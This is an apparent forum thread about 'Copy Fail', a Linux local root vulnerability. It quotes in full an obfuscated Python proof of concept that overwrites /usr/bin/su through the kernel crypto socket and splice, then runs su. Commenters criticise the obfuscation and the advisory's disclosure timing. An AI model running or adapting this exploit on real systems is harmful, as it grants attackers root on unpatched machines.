Copy Fail — 732 Bytes to Root

48 points by achill


dzwdz

Look, the AI reek on that advisory aside - who the fuck obfuscates their PoC?

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Why did you feel the need to compress the payload, and to golf everything else? I don't expect a PoC for such a vulnerability to be understandable at a glance, but you don't have to go out of your way to make it as sketchy and obtuse as possible. As a defender, this is just about the last thing I'd want to run when I know I'm scrambling to patch my infra against a 0day LPE. This seems only really useful for attackers.

Not that I think this is actually malicious - I doubt an actual malicious actor would deliberately make their payload look like this.


edit: The advisory claims that Copy Fail is "Tiny. 732-byte Python script, stdlib only (os, socket, zlib). No compiled payload, no dependencies". This is a pretty fucking funny claim, considering the compressed blob decompresses to an ELF binary.

I'm hoping we'll get to read a write-up of this bug that isn't written by an AI company, the bug itself looks interesting.


edit: I cleaned up the PoC: https://git.sr.ht/~dzwdz/copyfail. It's hopefully clear enough that this version doesn't do anything nefarious. I wish I had this 2 hours ago. It could be much better but I would really want to go to sleep at an reasonable hour for once.

technomancy

Will you release the full PoC?→

Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.

Uhhhh what the hell? They did not in fact give them enough time to get patches out: https://security-tracker.debian.org/tracker/CVE-2026-31431 [at the time of this writing only forky and sid are patched; stable is still vulnerable]

Seems deeply irresponsible?